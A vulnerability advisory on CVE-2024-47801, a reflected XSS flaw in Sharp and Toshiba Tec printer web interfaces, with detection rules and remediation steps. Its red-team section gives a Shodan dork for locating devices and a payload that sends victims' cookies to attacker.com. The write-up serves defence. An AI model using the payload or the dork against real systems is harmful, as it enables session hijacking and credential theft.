CVE-2024-47801

Executive Summary

CVE-2024-47801 is a reflected cross-site scripting (XSS) vulnerability affecting Sharp and Toshiba Tec Multifunction Printers (MFPs). The flaw arises from improper sanitization of query parameters in HTTP requests, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser context. With a CVSS score of 7.4 (High), this vulnerability can be exploited to steal session cookies, perform phishing attacks, or deface web interfaces. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.4 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: Low (A:L) – limited service disruption

Deep Dive & Mechanics

The vulnerability resides in the HTTP request handling logic of Sharp and Toshiba Tec MFP web interfaces. When a user accesses a specially crafted URL containing malicious query parameters, the device reflects the input without proper encoding or sanitization. This allows an attacker to inject HTML and JavaScript that executes in the victim's browser under the origin of the MFP's web interface.

Attack Flow:

1. Attacker crafts a URL like: http://<mfp-ip>/cgi-bin/whatever?param=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email or malicious website).
3. The MFP's web server reflects the param value in the response without sanitization.
4. The victim's browser executes the injected script, enabling actions such as session hijacking, credential theft, or redirection to malicious sites.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of proper output encoding or input validation in the query parameter handling is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable Python-like handler
def handle_request(request):
    param = request.GET.get('param')
    response = "<html><body>You searched for: " + param + "</body></html>"
    return response

Patched Code (Conceptual):

# Example of patched handler with output encoding
import html

def handle_request(request):
    param = request.GET.get('param')
    safe_param = html.escape(param)
    response = "<html><body>You searched for: " + safe_param + "</body></html>"
    return response

The patched version uses html.escape() to convert special characters (e.g., <, >, &) into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Target: Sharp MFP (e.g., MX-4070) or Toshiba Tec MFP (e.g., e-STUDIO series) with web interface exposed.
• Attacker: Kali Linux with browser and Burp Suite.

Exploitation Steps:

1. Identify vulnerable MFP via Shodan dork: http.title:"MFP"
2. Craft malicious URL:

   http://<target-ip>/cgi-bin/status?msg=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send URL to victim via phishing email.
4. Victim clicks link → script executes → cookie exfiltrated to attacker server.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP logs for unusual query parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
2. Deploy WAF rules to block reflected XSS patterns.
3. Use browser-based XSS filters (e.g., X-XSS-Protection header).

Mitigation:

• Apply vendor patch when available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Sanitize all user-supplied input in HTTP responses.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, %3Cscript%3E, or onerror= patterns.
  • Outbound connections to attacker-controlled domains from MFP web interface.
• File IOCs:
  • Log entries with msg=<script> or similar patterns in MFP access logs.
• Behavioral IOCs:
  • Unexpected JavaScript execution in browser when accessing MFP web interface.
  • Unusual cookie exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2024_47801_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Sharp/Toshiba MFP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47801"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt on Sharp/Toshiba MFP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting MFP web interfaces
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47801 Reflected XSS Attempt on Sharp/Toshiba MFP"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/"; http_uri; pcre:"/(<script|%3Cscript|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote web access to MFP management interfaces if not required.
2. Implement a Web Application Firewall (WAF) with XSS rules.
3. Restrict access to MFP web interfaces via firewall rules (allow only trusted IPs).

Long-Term Fix:

• Apply vendor patch when released (monitor Sharp and Toshiba Tec security advisories).
• Upgrade firmware to a version that properly sanitizes query parameters.
• Conduct regular security assessments of MFP web interfaces.

Workaround:

• Use a reverse proxy to sanitize or block malicious query parameters before they reach the MFP.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert